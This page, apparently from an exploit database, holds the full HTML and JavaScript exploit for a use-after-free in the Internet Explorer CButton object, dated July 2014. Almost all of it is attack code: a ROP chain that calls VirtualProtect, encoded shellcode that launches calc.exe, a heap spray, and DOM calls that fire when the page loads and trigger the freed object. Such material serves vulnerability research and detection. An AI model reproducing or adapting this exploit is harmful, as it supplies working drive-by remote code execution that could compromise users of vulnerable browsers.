Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by NetfairyType
Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability exploit code for remote code execution via crafted HTML page

                                                <!doctype html>
<html>
<head>
<script>
        //rop 68byte
        var rop = unescape(
        "%u34b4%u51bf" +   //   0x51bf34b4, # POP ESI # RETN [hxds.dll] 
        "%u10b8%u51bd" +   //   0x51bd10b8, # ptr to &VirtualProtect() [IAT hxds.dll]
        "%u2d97%u51bd" +   //   0x51bd2d97, # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] 
        "%ucba0%u51bd" +   //   0x51bdcba0, # XCHG EAX,ESI # RETN 00 [hxds.dll] 
        "%u79e2%u51c3" +   //   0x51c379e2, # POP EBP # RETN [hxds.dll] 
        "%u9683%u51c5" +   //   0x51c59683, # & call esp [hxds.dll]
        "%u198c%u51be" +   //   0x51be198c, # POP EBX # RETN [hxds.dll] 
        "%u00c8%u0000" +   //   0x000000c8, # 0x000000c8-> ebx  (calc exploit size 200 bytes) *
        "%u5ac3%u51c3" +   //   0x51c35ac3, # POP EDX # RETN [hxds.dll] 
        "%u0040%u0000" +   //   0x00000040, # 0x00000040-> edx
        "%ucf3e%u51be" +   //   0x51becf3e, # POP ECX # RETN [hxds.dll] 
        "%ud150%u51c5" +   //   0x51c5d150, # &Writable location [hxds.dll]
        "%uf563%u51be" +   //   0x51bef563, # POP EDI # RETN [hxds.dll] 
        "%u7402%u51c0" +   //   0x51c07402, # RETN (ROP NOP) [hxds.dll]
        "%u6fbd%u51c5" +   //   0x51c56fbd, # POP EAX # RETN [hxds.dll] 
        "%u9090%u9090" +   //   0x90909090, # nop
        "%u604e%u51c3");   //   0x51c3604e, # PUSHAD # RETN [hxds.dll] 

        calc = unescape(
        "%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +
        "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +
        "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +
        "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +
        "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +
        "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +
        "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
        "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +
        "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +
        "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +
        "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +
        "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +
        "%u6c61%u2e63%u7865%u0065");

        var exploit =rop+
        unescape('%u97e9%u0000%u9000%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u29c7%u51bd')
        +calc;

        //Fix BSTR spec
        function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
        }
         
        block_size = 0x1000;
        padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
        Padding = '';
        NopSlide = '';

        for (p = 0; p < padding_size; p++){
        Padding += unescape('%u0c0c');}

        for (c = 0; c < block_size; c++){
        NopSlide += unescape('%u0c0c');} //exploit hou
        NopSlide = NopSlide.substring(0,block_size - (exploit.length + Padding.length));

        var OBJECT = Padding + exploit + NopSlide;
        OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

        var evil = new Array();
        for (var k = 0; k < 150; k++) {
            evil[k] = OBJECT.substr(0, OBJECT.length);
        }

        function helloWorld()
        {           
                var e0 = null;
                var e1 = null;
                var e2 = null;
                try {
                        e0 = document.getElementById("a");
                        e1 = document.getElementById("b");
                        e2 = document.createElement("q");
                        e1.applyElement(e2);
                        e1.appendChild(document.createElement('button'));
                        e1.applyElement(e0);
                        e2.outerText = "";
                        e2.appendChild(document.createElement('body'));
                }
                catch(e){ }   

                var checka = 0;
                var checkb = 0;
                try {
                    checka = new ActiveXObject("SharePoint.OpenDocuments.4");
                } catch (e) {}
                 
                try {
                    checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
                } catch (e) {}
                 
                if ((typeof checka) == "object" && (typeof checkb) == "object") {
                    try{location.href='ms-help://'} catch(e){}
                    
                }
                else if ((typeof checka) == "number" && (typeof checkb) == "object") {
                    try{location.href='ms-help://'} catch(e){}    
                }
                CollectGarbage();
                var arr_div = new Array();
                var junk=unescape("%u0c0c%u0c0c");
                while (junk.length < (0x100- 6)/2)
                {
                    junk+=junk;
                }

                for(var i = 0; i<0x150; i++)
                {
                    arr_div[i]= document.createElement("div");
                    arr_div[i].title= junk.substring(0,(0x58-6)/2);
                }
        }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1